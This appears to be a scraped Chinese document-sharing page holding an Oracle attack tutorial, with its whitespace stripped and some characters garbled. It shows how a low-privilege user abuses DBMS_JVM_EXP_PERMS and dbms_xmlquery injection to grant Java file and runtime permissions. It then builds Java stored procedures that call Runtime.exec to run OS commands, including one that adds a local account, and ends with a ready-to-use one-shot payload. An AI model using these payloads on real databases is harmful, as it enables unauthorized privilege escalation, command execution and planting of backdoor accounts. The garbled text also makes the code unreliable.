下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、0x01这里我们先创建一个低权限的用户testSQL>connsys/admin123orclassysdba;已连接。SQL>createusertestidentifiedbytest;然后查看一下权限SQL>select*fromsession_privs;PRIVILEGECREATESESSION如上显示,test没有JAVA权限,也只有CREATESESSION权限我们如果要通过数据库执行系统命令,那么首先要提升数据库用户的权限。我们首先要获取java又限DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1I
2、SSELECT'GRANT','ZTZ','SYS','java.io.FilePermission','<<ALLFILES>>','execute','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;/如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermissi权
3、1限DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1ISSELECT'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor','NULL','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END
4、;/DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1ISSELECT'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor','NULL','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
5、0X02JAVAA权限执储令用我们的test帐号登录1、首先我们创建java包selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_TRANSACTION;beginexecuteimmediate''createorreplaceandcompilejavasourcenamed"LinxUtil"asimportjava.io.*;public2、然后我们获取java权限selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_
6、TRANSACTION;beginexecuteimmediate''begindbms_java.grant_permission(''''SYSTEM'''',''''SYS:java.io.FilePermission3、创建我们用来执行命令的函数selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_TRANSACTION;beginexecuteimmediate''createorreplac
7、efunctionLinxRunCMD(p_cmdinvarchar2)returnvarchar2aslanguagejavaname''''LinxUtil.runCMD(java.la4、执行命令selectLinxRUNCMD('whoami')fromdual;0x0若我们有reateprocec权限,而不只是reatesess这么苦逼时,我们可以创建一个javaclass然后用创建一个过程来进行调用1、首先创建一个javaclass然后用procedure包装它进行调用createorreplaceandresolvejavasour
8、cenamedJAVACMDasimportjava.lang*.;importjava.io.*;publicclassJAVACMDpublicstaticvoidexecmd(Stringcommand)throwsIOExceptionRuntime.getRuntime().exec(command);/2、创建调用的包createorreplaceprocedureMYJAVACMD(commandinvarchar)aslanguagejavaname'JAVACMD.execmd(java.lang.String)'/3、执行我们的命令EXECMYJAVACMD
9、('netuserqingxinqingxin/add');会报错是因为代码中没有捕获异常,我们再执行一次即可附上一把梭哈CREATEORREPLACEANDRESOLVEJavaSOURCENAMED"JAVACMD"ASimportjava.lang.*;importjava.io.*;publicclassJAVACMDpublicstaticvoidexecCommand(Stringcommand)throwsIOExceptionRuntime.getRuntime()e.xec(command);/CREATEORREPLACEPROCEDUREJAVACMDPROC(p_commandINVARCHAR2)ASLANGUAGEJAVANAME'JAVACMD.execCommand(java.lang.St
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 适应性建筑设计与施工规范方案
- 采购预算与财务预算整合衔接方案
- 起重设备拆装施工方案
- 煤矸石堆场整平方案
- 科学研究企业成果转化管理报告
- 2025年山东东城环卫集团招聘工作人员8人笔试历年参考题库附带答案详解
- 建筑施工土方开挖技术方案
- 2025年国网西藏电力有限公司高校毕业生招聘344人(第二批)笔试历年参考题库附带答案详解
- 2025年国网天津市电力公司高校毕业生招聘约100人(第二批)笔试历年参考题库附带答案详解
- 2025年南宁轨道交通集团有限责任公司招聘笔试历年参考题库附带答案详解
- 如何种植毛豆课件
- GB/T 20118-2025钢丝绳通用技术条件
- 肿瘤科护理专业知识试题及答案
- 人教版数学六年级上册课内提升每日一练
- 信息安全实验指南
- 浙江杭州2020-2023年中考满分作文44篇
- 2024-2025学年湖北省武汉市洪山区五年级(下)期末数学试卷
- 江西鄱阳一中入学考试数学试卷
- 2025年GCP考试题库附参考答案ab卷
- 肝性脑病疑难病例讨论
- 急诊科脑梗死护理查房
评论
0/150
提交评论